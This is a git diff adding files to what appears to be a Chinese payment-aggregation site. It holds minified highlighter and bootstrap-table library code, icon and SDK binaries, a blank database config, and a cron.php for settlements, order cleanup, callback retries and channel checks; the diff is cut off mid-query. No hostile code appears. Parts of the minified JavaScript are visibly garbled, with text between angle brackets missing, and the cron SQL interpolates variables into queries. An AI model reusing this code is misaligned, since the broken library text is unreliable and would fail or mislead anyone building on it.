CSng CStr CType Date Decimal Declare Default Delegate Dim DirectCast Do Double Each Else ElseIf End Enum Erase Error Event Exit False Finally For Friend Function Get GetType GoSub GoTo Handles If Implements Imports In Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing NotInheritable NotOverridable Object On Option Optional Or OrElse Overloads Overridable Overrides ParamArray Preserve Private Property Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume Return Select Set Shadows Shared Short Single Static Step Stop String Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until Variant When While With WithEvents WriteOnly Xor"),"gm"),css:"keyword"}],this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["vb","vbnet"],SyntaxHighlighter.brushes.Vb=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:new XRegExp("(\\<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\>|>)","gm"),css:"color2"},{regex:SyntaxHighlighter.regexLib.xmlComments,css:"comments"},{regex:new XRegExp("(<|<)[\\s\\/\\?]*(\\w+)(?.*?)[\\s\\/\\?]*(>|>)","sg"),func:function(e,t){var r=SyntaxHighlighter.Match,i=e[0],n=new XRegExp("(<|<)[\\s\\/\\?]*(?[:\\w-\\.]+)","xg").exec(i),s=[];if(null!=e.attributes)for(var a,o=new XRegExp("(? [\\w:\\-\\.]+)\\s*=\\s*(? \".*?\"|'.*?'|\\w+)","xg");null!=(a=o.exec(i));)s.push(new r(a.name,e.index+a.index,"color1")),s.push(new r(a.value,e.index+a.index+a[0].indexOf(a.value),"string"));return null!=n&&s.push(new r(n.name,e.index+n[0].indexOf(n.name),"keyword")),s}}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["xml","xhtml","xslt","html"],SyntaxHighlighter.brushes.Xml=e,"undefined"!=typeof exports&&(exports.Brush=e)}(); \ No newline at end of file diff --git a/assets/files/SDK.zip b/assets/files/SDK.zip new file mode 100644 index 0000000..2d83290 Binary files /dev/null and b/assets/files/SDK.zip differ diff --git a/assets/files/SDK_2.0.zip b/assets/files/SDK_2.0.zip new file mode 100644 index 0000000..6fa5b19 Binary files /dev/null and b/assets/files/SDK_2.0.zip differ diff --git a/assets/font/elephant.ttf b/assets/font/elephant.ttf new file mode 100644 index 0000000..2763d31 Binary files /dev/null and b/assets/font/elephant.ttf differ diff --git a/assets/icon/alipay.ico b/assets/icon/alipay.ico new file mode 100644 index 0000000..e49222c Binary files /dev/null and b/assets/icon/alipay.ico differ diff --git a/assets/icon/bank.ico b/assets/icon/bank.ico new file mode 100644 index 0000000..e2543da Binary files /dev/null and b/assets/icon/bank.ico differ diff --git a/assets/icon/ecny.ico b/assets/icon/ecny.ico new file mode 100644 index 0000000..ccec7ff Binary files /dev/null and b/assets/icon/ecny.ico differ diff --git a/assets/icon/jdpay.ico b/assets/icon/jdpay.ico new file mode 100644 index 0000000..681a56c Binary files /dev/null and b/assets/icon/jdpay.ico differ diff --git a/assets/icon/paypal.ico b/assets/icon/paypal.ico new file mode 100644 index 0000000..78713f9 Binary files /dev/null and b/assets/icon/paypal.ico differ diff --git a/assets/icon/qqpay.ico b/assets/icon/qqpay.ico new file mode 100644 index 0000000..3d1f201 Binary files /dev/null and b/assets/icon/qqpay.ico differ diff --git a/assets/icon/tenpay.ico b/assets/icon/tenpay.ico new file mode 100644 index 0000000..145a345 Binary files /dev/null and b/assets/icon/tenpay.ico differ diff --git a/assets/icon/wechat.ico b/assets/icon/wechat.ico new file mode 100644 index 0000000..ea93e01 Binary files /dev/null and b/assets/icon/wechat.ico differ diff --git a/assets/icon/wxpay.ico b/assets/icon/wxpay.ico new file mode 100644 index 0000000..c144db3 Binary files /dev/null and b/assets/icon/wxpay.ico differ diff --git a/assets/img/NoImg.png b/assets/img/NoImg.png new file mode 100644 index 0000000..2bd4f38 Binary files /dev/null and b/assets/img/NoImg.png differ diff --git a/assets/img/alipay.gif b/assets/img/alipay.gif new file mode 100644 index 0000000..e452d24 Binary files /dev/null and b/assets/img/alipay.gif differ diff --git a/assets/img/android.png b/assets/img/android.png new file mode 100644 index 0000000..934d1b5 Binary files /dev/null and b/assets/img/android.png differ diff --git a/assets/img/guide1.png b/assets/img/guide1.png new file mode 100644 index 0000000..5a14a1c Binary files /dev/null and b/assets/img/guide1.png differ diff --git a/assets/img/guide2.png b/assets/img/guide2.png new file mode 100644 index 0000000..ed3ff9e Binary files /dev/null and b/assets/img/guide2.png differ diff --git a/assets/img/ios.png b/assets/img/ios.png new file mode 100644 index 0000000..bc23fcc Binary files /dev/null and b/assets/img/ios.png differ diff --git a/assets/img/load.gif b/assets/img/load.gif new file mode 100644 index 0000000..f8fba1a Binary files /dev/null and b/assets/img/load.gif differ diff --git a/assets/img/loading.gif b/assets/img/loading.gif new file mode 100644 index 0000000..5bb90fd Binary files /dev/null and b/assets/img/loading.gif differ diff --git a/assets/img/logo.png b/assets/img/logo.png new file mode 100644 index 0000000..930598a Binary files /dev/null and b/assets/img/logo.png differ diff --git a/assets/img/mqq_logo.png b/assets/img/mqq_logo.png new file mode 100644 index 0000000..9e7fcab Binary files /dev/null and b/assets/img/mqq_logo.png differ diff --git a/assets/img/qq.png b/assets/img/qq.png new file mode 100644 index 0000000..535522b Binary files /dev/null and b/assets/img/qq.png differ diff --git a/assets/img/qqpay.jpg b/assets/img/qqpay.jpg new file mode 100644 index 0000000..8ab52b8 Binary files /dev/null and b/assets/img/qqpay.jpg differ diff --git a/assets/img/tenpay.gif b/assets/img/tenpay.gif new file mode 100644 index 0000000..1be2d0d Binary files /dev/null and b/assets/img/tenpay.gif differ diff --git a/assets/img/uploadok.png b/assets/img/uploadok.png new file mode 100644 index 0000000..bddbf23 Binary files /dev/null and b/assets/img/uploadok.png differ diff --git a/assets/img/user.png b/assets/img/user.png new file mode 100644 index 0000000..d9a8ddb Binary files /dev/null and b/assets/img/user.png differ diff --git a/assets/img/weixin.gif b/assets/img/weixin.gif new file mode 100644 index 0000000..de09a03 Binary files /dev/null and b/assets/img/weixin.gif differ diff --git a/assets/img/wx.png b/assets/img/wx.png new file mode 100644 index 0000000..8440d48 Binary files /dev/null and b/assets/img/wx.png differ diff --git a/assets/img/wxtoqq.png b/assets/img/wxtoqq.png new file mode 100644 index 0000000..7e32536 Binary files /dev/null and b/assets/img/wxtoqq.png differ diff --git a/assets/img/wxwappay.png b/assets/img/wxwappay.png new file mode 100644 index 0000000..9875626 Binary files /dev/null and b/assets/img/wxwappay.png differ diff --git a/assets/js/bootstrap-table-page-jump-to.min.js b/assets/js/bootstrap-table-page-jump-to.min.js new file mode 100644 index 0000000..ff9c6cc --- /dev/null +++ b/assets/js/bootstrap-table-page-jump-to.min.js @@ -0,0 +1,10 @@ +/** + * bootstrap-table - An extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation) + * + * @version v1.21.4 + * @homepage https://bootstrap-table.com + * @author wenzhixin (http://wenzhixin.net.cn/) + * @license MIT + */ + +!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],n):n((t="undefined"!=typeof globalThis?globalThis:t||self).jQuery)}(this,(function(t){"use strict";function n(t,n){if(!(t instanceof n))throw new TypeError("Cannot call a class as a function")}function e(t,n){for(var e=0;e0&&S[0]<4?1:+(S[0]+S[1])),!P&&ut&&(!(S=ut.match(/Edge\/(\d+)/))||S[1]>=74)&&(S=ut.match(/Chrome\/(\d+)/))&&(P=+S[1]);var st=P,pt=st,yt=y,bt=!!Object.getOwnPropertySymbols&&!yt((function(){var t=Symbol();return!String(t)||!(Object(t)instanceof Symbol)||!Symbol.sham&&pt&&pt<41})),vt=bt&&!Symbol.sham&&"symbol"==typeof Symbol.iterator,dt=rt,gt=Q,ht=ot,mt=Object,Ot=vt?function(t){return"symbol"==typeof t}:function(t){var n=dt("Symbol");return gt(n)&&ht(n.prototype,mt(t))},jt=String,wt=Q,St=function(t){try{return jt(t)}catch(t){return"Object"}},Pt=TypeError,Tt=function(t){if(wt(t))return t;throw Pt(St(t)+" is not a function")},Et=Tt,xt=B,At=h,_t=Q,Rt=Z,Ct=TypeError,Ft={},kt={get exports(){return Ft},set exports(t){Ft=t}},It=s,Mt=Object.defineProperty,Dt=function(t,n){try{Mt(It,t,{value:n,configurable:!0,writable:!0})}catch(e){It[t]=n}return n},Lt=Dt,Nt="__core-js_shared__",zt=s[Nt]||Lt(Nt,{}),Bt=zt;(kt.exports=function(t,n){return Bt[t]||(Bt[t]=void 0!==n?n:{})})("versions",[]).push({version:"3.29.0",mode:"global",copyright:"© 2014-2023 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.29.0/LICENSE",source:"https://github.com/zloirock/core-js"});var Gt=q,Jt=Object,qt=function(t){return Jt(Gt(t))},Wt=qt,Ht=R({}.hasOwnProperty),Ut=Object.hasOwn||function(t,n){return Ht(Wt(t),n)},Xt=R,$t=0,Kt=Math.random(),Qt=Xt(1..toString),Vt=function(t){return"Symbol("+(void 0===t?"":t)+")_"+Qt(++$t+Kt,36)},Yt=Ft,Zt=Ut,tn=Vt,nn=bt,en=vt,rn=s.Symbol,on=Yt("wks"),un=en?rn.for||rn:rn&&rn.withoutSetter||tn,cn=function(t){return Zt(on,t)||(on[t]=nn&&Zt(rn,t)?rn[t]:un("Symbol."+t)),on[t]},an=h,fn=Z,ln=Ot,sn=function(t,n){var e=t[n];return xt(e)?void 0:Et(e)},pn=function(t,n){var e,r;if("string"===n&&_t(e=t.toString)&&!Rt(r=At(e,t)))return r;if(_t(e=t.valueOf)&&!Rt(r=At(e,t)))return r;if("string"!==n&&_t(e=t.toString)&&!Rt(r=At(e,t)))return r;throw Ct("Can't convert object to primitive value")},yn=TypeError,bn=cn("toPrimitive"),vn=function(t,n){if(!fn(t)||ln(t))return t;var e,r=sn(t,bn);if(r){if(void 0===n&&(n="default"),e=an(r,t,n),!fn(e)||ln(e))return e;throw yn("Can't convert object to primitive value")}return void 0===n&&(n="number"),pn(t,n)},dn=Ot,gn=function(t){var n=vn(t,"string");return dn(n)?n:n+""},hn=Z,mn=s.document,On=hn(mn)&&hn(mn.createElement),jn=function(t){return On?mn.createElement(t):{}},wn=jn,Sn=!b&&!y((function(){return 7!=Object.defineProperty(wn("div"),"a",{get:function(){return 7}}).a})),Pn=b,Tn=h,En=m,xn=T,An=U,_n=gn,Rn=Ut,Cn=Sn,Fn=Object.getOwnPropertyDescriptor;p.f=Pn?Fn:function(t,n){if(t=An(t),n=_n(n),Cn)try{return Fn(t,n)}catch(t){}if(Rn(t,n))return xn(!Tn(En.f,t,n),t[n])};var kn={},In=b&&y((function(){return 42!=Object.defineProperty((function(){}),"prototype",{value:42,writable:!1}).prototype})),Mn=Z,Dn=String,Ln=TypeError,Nn=function(t){if(Mn(t))return t;throw Ln(Dn(t)+" is not an object")},zn=b,Bn=Sn,Gn=In,Jn=Nn,qn=gn,Wn=TypeError,Hn=Object.defineProperty,Un=Object.getOwnPropertyDescriptor,Xn="enumerable",$n="configurable",Kn="writable";kn.f=zn?Gn?function(t,n,e){if(Jn(t),n=qn(n),Jn(e),"function"==typeof t&&"prototype"===n&&"value"in e&&Kn in e&&!e.writable){var r=Un(t,n);r&&r.writable&&(t[n]=e.value,e={configurable:$n in e?e.configurable:r.configurable,enumerable:Xn in e?e.enumerable:r.enumerable,writable:!1})}return Hn(t,n,e)}:Hn:function(t,n,e){if(Jn(t),n=qn(n),Jn(e),Bn)try{return Hn(t,n,e)}catch(t){}if("get"in e||"set"in e)throw Wn("Accessors not supported");return"value"in e&&(t[n]=e.value),t};var Qn=kn,Vn=T,Yn=b?function(t,n,e){return Qn.f(t,n,Vn(1,e))}:function(t,n,e){return t[n]=e,t},Zn={},te={get exports(){return Zn},set exports(t){Zn=t}},ne=b,ee=Ut,re=Function.prototype,oe=ne&&Object.getOwnPropertyDescriptor,ie=ee(re,"name"),ue={EXISTS:ie,PROPER:ie&&"something"===function(){}.name,CONFIGURABLE:ie&&(!ne||ne&&oe(re,"name").configurable)},ce=Q,ae=zt,fe=R(Function.toString);ce(ae.inspectSource)||(ae.inspectSource=function(t){return fe(t)});var le,se,pe,ye=ae.inspectSource,be=Q,ve=s.WeakMap,de=be(ve)&&/native code/.test(String(ve)),ge=Vt,he=Ft("keys"),me=function(t){return he[t]||(he[t]=ge(t))},Oe={},je=de,we=s,Se=Z,Pe=Yn,Te=Ut,Ee=zt,xe=me,Ae=Oe,_e="Object already initialized",Re=we.TypeError,Ce=we.WeakMap;if(je||Ee.state){var Fe=Ee.state||(Ee.state=new Ce);Fe.get=Fe.get,Fe.has=Fe.has,Fe.set=Fe.set,le=function(t,n){if(Fe.has(t))throw Re(_e);return n.facade=t,Fe.set(t,n),n},se=function(t){return Fe.get(t)||{}},pe=function(t){return Fe.has(t)}}else{var ke=xe("state");Ae[ke]=!0,le=function(t,n){if(Te(t,ke))throw Re(_e);return n.facade=t,Pe(t,ke,n),n},se=function(t){return Te(t,ke)?t[ke]:{}},pe=function(t){return Te(t,ke)}}var Ie={set:le,get:se,has:pe,enforce:function(t){return pe(t)?se(t):le(t,{})},getterFor:function(t){return function(n){var e;if(!Se(n)||(e=se(n)).type!==t)throw Re("Incompatible receiver, "+t+" required");return e}}},Me=R,De=y,Le=Q,Ne=Ut,ze=b,Be=ue.CONFIGURABLE,Ge=ye,Je=Ie.enforce,qe=Ie.get,We=String,He=Object.defineProperty,Ue=Me("".slice),Xe=Me("".replace),$e=Me([].join),Ke=ze&&!De((function(){return 8!==He((function(){}),"length",{value:8}).length})),Qe=String(String).split("String"),Ve=te.exports=function(t,n,e){"Symbol("===Ue(We(n),0,7)&&(n="["+Xe(We(n),/^Symbol\(([^)]*)\)/,"$1")+"]"),e&&e.getter&&(n="get "+n),e&&e.setter&&(n="set "+n),(!Ne(t,"name")||Be&&t.name!==n)&&(ze?He(t,"name",{value:n,configurable:!0}):t.name=n),Ke&&e&&Ne(e,"arity")&&t.length!==e.arity&&He(t,"length",{value:e.arity});try{e&&Ne(e,"constructor")&&e.constructor?ze&&He(t,"prototype",{writable:!1}):t.prototype&&(t.prototype=void 0)}catch(t){}var r=Je(t);return Ne(r,"source")||(r.source=$e(Qe,"string"==typeof n?n:"")),t};Function.prototype.toString=Ve((function(){return Le(this)&&qe(this).source||Ge(this)}),"toString");var Ye=Q,Ze=kn,tr=Zn,nr=Dt,er=function(t,n,e,r){r||(r={});var o=r.enumerable,i=void 0!==r.name?r.name:n;if(Ye(e)&&tr(e,i,r),r.global)o?t[n]=e:nr(n,e);else{try{r.unsafe?t[n]&&(o=!0):delete t[n]}catch(t){}o?t[n]=e:Ze.f(t,n,{value:e,enumerable:!1,configurable:!r.nonConfigurable,writable:!r.nonWritable})}return t},rr={},or=Math.ceil,ir=Math.floor,ur=Math.trunc||function(t){var n=+t;return(n>0?ir:or)(n)},cr=function(t){var n=+t;return n!=n||0===n?0:ur(n)},ar=cr,fr=Math.max,lr=Math.min,sr=cr,pr=Math.min,yr=function(t){return t>0?pr(sr(t),9007199254740991):0},br=function(t){return yr(t.length)},vr=U,dr=function(t,n){var e=ar(t);return e<0?fr(e+n,0):lr(e,n)},gr=br,hr=function(t){return function(n,e,r){var o,i=vr(n),u=gr(i),c=dr(r,u);if(t&&e!=e){for(;u>c;)if((o=i[c++])!=o)return!0}else for(;u>c;c++)if((t||c in i)&&i[c]===e)return t||c||0;return!t&&-1}},mr={includes:hr(!0),indexOf:hr(!1)},Or=Ut,jr=U,wr=mr.indexOf,Sr=Oe,Pr=R([].push),Tr=function(t,n){var e,r=jr(t),o=0,i=[];for(e in r)!Or(Sr,e)&&Or(r,e)&&Pr(i,e);for(;n.length>o;)Or(r,e=n[o++])&&(~wr(i,e)||Pr(i,e));return i},Er=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"],xr=Tr,Ar=Er.concat("length","prototype");rr.f=Object.getOwnPropertyNames||function(t){return xr(t,Ar)};var _r={};_r.f=Object.getOwnPropertySymbols;var Rr=rt,Cr=rr,Fr=_r,kr=Nn,Ir=R([].concat),Mr=Rr("Reflect","ownKeys")||function(t){var n=Cr.f(kr(t)),e=Fr.f;return e?Ir(n,e(t)):n},Dr=Ut,Lr=Mr,Nr=p,zr=kn,Br=y,Gr=Q,Jr=/#|\.prototype\./,qr=function(t,n){var e=Hr[Wr(t)];return e==Xr||e!=Ur&&(Gr(n)?Br(n):!!n)},Wr=qr.normalize=function(t){return String(t).replace(Jr,".").toLowerCase()},Hr=qr.data={},Ur=qr.NATIVE="N",Xr=qr.POLYFILL="P",$r=qr,Kr=s,Qr=p.f,Vr=Yn,Yr=er,Zr=Dt,to=function(t,n,e){for(var r=Lr(n),o=zr.f,i=Nr.f,u=0;uo;)for(var c,a=bo(arguments[o++]),f=i?ho(lo(a),i(a)):lo(a),l=f.length,s=0;l>s;)c=f[s++],uo&&!ao(u,a,c)||(e[c]=a[c]);return e}:vo,Oo=mo;eo({target:"Object",stat:!0,arity:2,forced:Object.assign!==Oo},{assign:Oo});var jo=I,wo=Array.isArray||function(t){return"Array"==jo(t)},So=TypeError,Po=gn,To=kn,Eo=T,xo={};xo[cn("toStringTag")]="z";var Ao="[object z]"===String(xo),_o=Ao,Ro=Q,Co=I,Fo=cn("toStringTag"),ko=Object,Io="Arguments"==Co(function(){return arguments}()),Mo=_o?Co:function(t){var n,e,r;return void 0===t?"Undefined":null===t?"Null":"string"==typeof(e=function(t,n){try{return t[n]}catch(t){}}(n=ko(t),Fo))?e:Io?Co(n):"Object"==(r=Co(n))&&Ro(n.callee)?"Arguments":r},Do=R,Lo=y,No=Q,zo=Mo,Bo=ye,Go=function(){},Jo=[],qo=rt("Reflect","construct"),Wo=/^\s*(?:class|function)\b/,Ho=Do(Wo.exec),Uo=!Wo.exec(Go),Xo=function(t){if(!No(t))return!1;try{return qo(Go,Jo,t),!0}catch(t){return!1}},$o=function(t){if(!No(t))return!1;switch(zo(t)){case"AsyncFunction":case"GeneratorFunction":case"AsyncGeneratorFunction":return!1}try{return Uo||!!Ho(Wo,Bo(t))}catch(t){return!0}};$o.sham=!0;var Ko=!qo||Lo((function(){var t;return Xo(Xo.call)||!Xo(Object)||!Xo((function(){t=!0}))||t}))?$o:Xo,Qo=wo,Vo=Ko,Yo=Z,Zo=cn("species"),ti=Array,ni=function(t){var n;return Qo(t)&&(n=t.constructor,(Vo(n)&&(n===ti||Qo(n.prototype))||Yo(n)&&null===(n=n[Zo]))&&(n=void 0)),void 0===n?ti:n},ei=function(t,n){return new(ni(t))(0===n?0:n)},ri=y,oi=st,ii=cn("species"),ui=eo,ci=y,ai=wo,fi=Z,li=qt,si=br,pi=function(t){if(t>9007199254740991)throw So("Maximum allowed index exceeded");return t},yi=function(t,n,e){var r=Po(n);r in t?To.f(t,r,Eo(0,e)):t[r]=e},bi=ei,vi=function(t){return oi>=51||!ri((function(){var n=[];return(n.constructor={})[ii]=function(){return{foo:1}},1!==n[t](Boolean).foo}))},di=st,gi=cn("isConcatSpreadable"),hi=di>=51||!ci((function(){var t=[];return t[gi]=!1,t.concat()[0]!==t})),mi=function(t){if(!fi(t))return!1;var n=t[gi];return void 0!==n?!!n:ai(t)};ui({target:"Array",proto:!0,arity:1,forced:!hi||!vi("concat")},{concat:function(t){var n,e,r,o,i,u=li(this),c=bi(u,0),a=0;for(n=-1,r=arguments.length;nh;h++)if((c||h in v)&&(y=d(p=v[h],h,b),t))if(n)O[h]=y;else if(y)switch(t){case 3:return!0;case 5:return p;case 6:return h;case 2:Ci(O,p)}else switch(t){case 4:return!1;case 7:Ci(O,p)}return i?-1:r||o?o:O}},ki={forEach:Fi(0),map:Fi(1),filter:Fi(2),some:Fi(3),every:Fi(4),find:Fi(5),findIndex:Fi(6),filterReject:Fi(7)},Ii={},Mi=b,Di=In,Li=kn,Ni=Nn,zi=U,Bi=io;Ii.f=Mi&&!Di?Object.defineProperties:function(t,n){Ni(t);for(var e,r=zi(n),o=Bi(n),i=o.length,u=0;i>u;)Li.f(t,e=o[u++],r[e]);return t};var Gi,Ji=rt("document","documentElement"),qi=Nn,Wi=Ii,Hi=Er,Ui=Oe,Xi=Ji,$i=jn,Ki=me("IE_PROTO"),Qi=function(){},Vi=function(t){return" + + + \ No newline at end of file diff --git a/config.php b/config.php new file mode 100644 index 0000000..279a06d --- /dev/null +++ b/config.php @@ -0,0 +1,10 @@ + 'localhost', //数据库服务器 + 'port' => 3306, //数据库端口 + 'user' => '', //数据库用户名 + 'pwd' => '', //数据库密码 + 'dbname' => '', //数据库名 + 'dbqz' => 'pay' //数据表前缀 +); diff --git a/cron.php b/cron.php new file mode 100644 index 0000000..56f0f7b --- /dev/null +++ b/cron.php @@ -0,0 +1,424 @@ +=strtotime(date("Y-m-d").' 00:00:00'))exit('自动生成结算列表今日已完成'); + $rs=$DB->query("SELECT * from pre_user where money>={$conf['settle_money']} and settle=1 and status=1 and account is not null and username is not null"); + $i=0; + $allmoney=0; + while($row = $rs->fetch()) + { + if($conf['cert_force']==1 && $row['cert']==0){ + continue; + } + $i++; + $settle_rate = $conf['settle_rate']; + $group = getGroupConfig($row['gid']); + if(isset($group['settle_open']) && $group['settle_open'] > 0){ + if($group['settle_open'] == 2) continue; + }elseif($conf['settle_open']!=1 && $conf['settle_open']!=3) continue; + if(isset($group['settle_rate'])) $settle_rate = $group['settle_rate']; + if(is_numeric($row['remain_money']) && $row['remain_money'] > 0){ + $row['money'] = round($row['money'] - $row['remain_money'], 2); + } + if($row['money']<$conf['settle_money']) continue; + if($settle_rate>0){ + $fee=round($row['money']*$settle_rate/100,2); + if(!empty($conf['settle_fee_min']) && $fee<$conf['settle_fee_min'])$fee=$conf['settle_fee_min']; + if(!empty($conf['settle_fee_max']) && $fee>$conf['settle_fee_max'])$fee=$conf['settle_fee_max']; + $realmoney=$row['money']-$fee; + }else{ + $realmoney=$row['money']; + } + $data = ['uid'=>$row['uid'], 'type'=>$row['settle_id'], 'account'=>$row['account'], 'username'=>$row['username'], 'money'=>$row['money'], 'realmoney'=>$realmoney, 'addtime'=>'NOW()', 'status'=>0]; + if($DB->insert('settle', $data)){ + changeUserMoney($row['uid'], $row['money'], false, '自动结算'); + $allmoney+=$realmoney; + } + } + saveSetting('settle_time', $date); + exit('自动生成结算列表成功 allmony='.$allmoney.' num='.$i); +} +elseif($_GET['do']=='order'){ + $order_time=getSetting('order_time', true); + if(strtotime($order_time)>=strtotime(date("Y-m-d").' 00:00:00')){ + echo '订单统计与清理任务今日已完成'; + if($conf['wxnotice_tpl_balance'] || $conf['msgconfig_balance']){ + $rs=$DB->query("SELECT * from pre_user where status=1"); + $i=0; + while($row = $rs->fetch()) + { + $row['msgconfig'] = unserialize($row['msgconfig']); + if($row['msgconfig']['balance'] > 0 && $row['msgconfig']['balance_money'] > 0 && $row['money'] < $row['msgconfig']['balance_money']){ + $day = $CACHE->read('balance_notice_'.$row['uid']); + if($day && $day == date('Ymd')) continue; + \lib\MsgNotice::send('balance', $row['uid'], ['user'=>$row['uid'], 'time'=>date('Y-m-d H:i:s'), 'money'=>$row['money']]); + $CACHE->save('balance_notice_'.$row['uid'], date('Ymd'), 86400); + $i++; + } + } + if($i > 0) echo ',余额不足提醒已发送给'.$i.'位商户'; + } + exit; + } + + $thtime=date("Y-m-d H:i:s",time()-3600*24); + + $CACHE->clean(); + $DB->exec("delete from pre_order where status=0 and addtime<'{$thtime}'"); + $DB->exec("delete from pre_regcode where `time`<'".(time()-3600*24)."'"); + $DB->exec("delete from pre_blacklist where endtime is not null and endtimeexec("delete from pay_wxkflog where addtime<'".date("Y-m-d H:i:s", strtotime('-48 hours'))."'"); + + $day = date("Ymd", strtotime("-1 day")); + + $paytype = []; + $rs = $DB->getAll("SELECT id,name,showname FROM pre_type WHERE status=1"); + foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + } + unset($rs); + + $channel = []; + $rs = $DB->getAll("SELECT id,name FROM pre_channel WHERE status=1"); + foreach($rs as $row){ + $channel[$row['id']] = $row['name']; + } + unset($rs); + + $lastday=date("Y-m-d",strtotime("-1 day")); + $today=date("Y-m-d"); + + $rs=$DB->query("SELECT type,channel,realmoney,profitmoney from pre_order where status=1 and date>='$lastday' and date<'$today'"); + foreach($paytype as $id=>$type){ + $order_paytype[$id]=0; + $profit_paytype[$id]=0; + } + foreach($channel as $id=>$type){ + $order_channel[$id]=0; + } + while($row = $rs->fetch()) + { + $order_paytype[$row['type']]+=$row['realmoney']; + $order_channel[$row['channel']]+=$row['realmoney']; + if(!empty($row['profitmoney'])){ + $profit_paytype[$row['type']]+=$row['profitmoney']; + } + } + foreach($order_paytype as $k=>$v){ + $order_paytype[$k] = round($v,2); + } + foreach($order_channel as $k=>$v){ + $order_channel[$k] = round($v,2); + } + foreach($profit_paytype as $k=>$v){ + $profit_paytype[$k] = round($v,2); + } + $allmoney=0; + foreach($order_paytype as $money){ + $allmoney+=$money; + } + $allprofit=0; + foreach($profit_paytype as $money){ + $allprofit+=$money; + } + + $order_lastday['all']=round($allmoney,2); + $order_lastday['profit_all']=round($allprofit,2); + $order_lastday['paytype']=$order_paytype; + $order_lastday['channel']=$order_channel; + $order_lastday['profit_paytype']=$profit_paytype; + + $CACHE->save('order_'.$day, serialize($order_lastday), 604830); + + saveSetting('order_time', $date); + + $DB->exec("update pre_channel set daystatus=0"); + exit($day.'订单统计与清理任务执行成功'); +} +elseif($_GET['do']=='notify'){ + $limit = 20; //每次重试的订单数量 + for($i=0;$i<$limit;$i++){ + $srow=$DB->getRow("SELECT * FROM pre_order WHERE (TO_DAYS(NOW()) - TO_DAYS(endtime) <= 1) AND notify>0 AND notifytimeexec("UPDATE pre_order SET notify=-1,notifytime=NULL WHERE trade_no='{$srow['trade_no']}'"); + continue; + } + $DB->exec("UPDATE pre_order SET notify={$notify},notifytime=date_add(now(), interval {$interval}) WHERE trade_no='{$srow['trade_no']}'"); + + $url=creat_callback($srow); + if(do_notify($url['notify'])){ + $DB->exec("UPDATE pre_order SET notify=0,notifytime=NULL WHERE trade_no='{$srow['trade_no']}'"); + echo $srow['trade_no'].' 重新通知成功
    '; + }else{ + echo $srow['trade_no'].' 重新通知失败(第'.$notify.'次)
    '; + if($conf['auto_check_notify'] == 1){ + $count = intval($conf['check_notify_count']); + if($count > 0){ + $userrow = $DB->find('user', 'uid,email,pay', ['uid'=>$srow['uid']]); + if($userrow['pay'] == 1){ + $orders = $DB->getAll("SELECT trade_no FROM pre_order WHERE uid='{$srow['uid']}' and status>0 order by trade_no desc limit {$count}"); + $failcount = 0; + foreach($orders as $order){ + if($order['notify'] > 0) $failcount++; + } + if($failcount >= $count){ + $DB->exec("UPDATE pre_user SET pay=0 WHERE uid='{$srow['uid']}'"); + echo 'UID:'.$srow['uid'].' 连续'.$failcount.'个订单通知失败,已关闭支付权限
    '; + $DB->exec("INSERT INTO `pre_risk` (`uid`, `type`, `content`, `date`) VALUES (:uid, 2, :content, NOW())", [':uid'=>$srow['uid'],':content'=>'连续'.$failcount.'个订单']); + if($conf['check_notify_notice'] == 1){ + send_mail($userrow['email'],$conf['sitename'].' - 商户支付权限关闭提醒','尊敬的用户:你的商户ID '.$userrow['uid'].' 因连续'.$failcount.'个订单回调通知失败,已被系统自动关闭支付权限!请自行检查你的网站是否有防CC防火墙、WAF等,导致支付回调拦截。如有疑问请联系网站客服。
    ----------
    '.$conf['sitename'].'
    '.date('Y-m-d H:i:s')); + } + } + } + } + } + } + } + echo 'ok!'; +} +elseif($_GET['do']=='notify2'){ + $limit = 20; //每次重试的订单数量 + for($i=0;$i<$limit;$i++){ + $srow=$DB->getRow("SELECT * FROM pre_order WHERE (TO_DAYS(NOW()) - TO_DAYS(endtime) <= 1) AND notify=-1 LIMIT 1"); + if(!$srow)break; + + $url=creat_callback($srow); + if(do_notify($url['notify'])){ + $DB->exec("UPDATE pre_order SET notify=0,notifytime=NULL WHERE trade_no='{$srow['trade_no']}'"); + echo $srow['trade_no'].' 重新通知成功
    '; + }else{ + echo $srow['trade_no'].' 重新通知失败
    '; + } + } + echo 'ok!'; +} +elseif($_GET['do']=='profitsharing'){ + \lib\ProfitSharing\CommUtil::task(); + + \lib\Payment::settle_task(); + echo 'ok!'; +} +elseif($_GET['do']=='check'){ + if($conf['auto_check_channel'] == 1){ + $second = intval($conf['check_channel_second']); + $failcount = intval($conf['check_channel_failcount']); + $channelids = trim($conf['check_channel_ids']); + if($second==0 || $failcount==0)exit('未开启支付通道检查功能'); + if(!empty($channelids)){ + $channels = $DB->getAll("SELECT * FROM pre_channel WHERE id IN ($channelids) AND status=1 ORDER BY id ASC"); + }else{ + $channels = $DB->getAll("SELECT * FROM pre_channel WHERE status=1 ORDER BY id ASC"); + } + foreach($channels as $channel){ + $channelid = $channel['id']; + if(strpos($channel['config'], '[') && strpos($channel['config'], ']') && $DB->getCount("SELECT COUNT(*) FROM pre_subchannel WHERE channel='$channelid' AND status=1") > 0){ + $subchannels = $DB->getAll("SELECT * FROM pre_subchannel WHERE channel='$channelid' AND status=1 ORDER BY id ASC"); + foreach($subchannels as $subchannel){ + $subchannelid = $subchannel['id']; + $orders=$DB->getAll("SELECT trade_no,status FROM pre_order WHERE addtime>=DATE_SUB(NOW(), INTERVAL {$second} SECOND) AND channel='$channelid' AND 